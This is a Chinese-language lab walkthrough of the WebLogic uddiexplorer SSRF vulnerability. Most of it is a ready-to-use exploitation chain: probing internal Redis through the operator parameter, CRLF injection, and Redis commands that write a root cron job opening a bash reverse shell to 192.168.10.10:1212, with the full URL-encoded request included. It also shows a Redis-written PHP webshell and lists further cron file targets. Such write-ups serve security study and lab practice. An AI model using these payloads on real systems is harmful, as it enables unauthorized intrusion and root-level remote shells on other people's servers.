Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
1、启动环境
访问`http://your-ip:7001/uddiexplorer/`,无需登录即可查看uddiexplorer应用。
2、漏洞测试
SSRF漏洞存在于`http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp`,我们在brupsuite下测试该漏洞。
在漏洞页面随意填入参数,bp抓包。
发现operator参数是一个URL的形式。
访问一个可以访问的IP:port,这里开启kali的888端口:
访问开启的888端口,有有效信息返回。
访问不存在的8888端口,提示无法连接到。于是根据返回错误不同,可以对内网状态进行探测比如端口的开放状态。
据此可以确定目标存在SSRF漏洞。
3、漏洞利用
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现`172.19.0.2:6379`可以连通:
由“which did not have a valid SOAP content-type”可知这是一个可连通的端口。
发送三条redis命令,将弹shell脚本写入`/etc/crontab`:
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.10.10/1212 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab save
qwezxc
将其进行URL编码得到:operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.10%2F1212%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc
改包:
因为将shell反弹到192.168.10.10:1212,所以在kali上开启监听1212,执行请求后shell反弹成功。查看/etc/crontab文件,发现了写入的命令。
这是因为在请求的URL中,通过换行符%0d%0a执行了Redis config set命令:
Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。
添加键1对应的值为要写入/etc/crontab的任务内容,然后创建/etc/crontab文件,save将其写入。自动任务执行时,将shell反弹到攻击机上。
比如以下是一段利用Redis写webshell的命令:
config set dir /var/www/html/
config set dbfilename redis.php
set webshell “<?php phpinfo(); ?>”
save
这样就会生成一个redis.php文件,其中的内容就是<?php phpinfo(); ?>
如果可以通过web访问到这个php后门,就可以通过蚁剑连接进行更进一步的渗透。
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件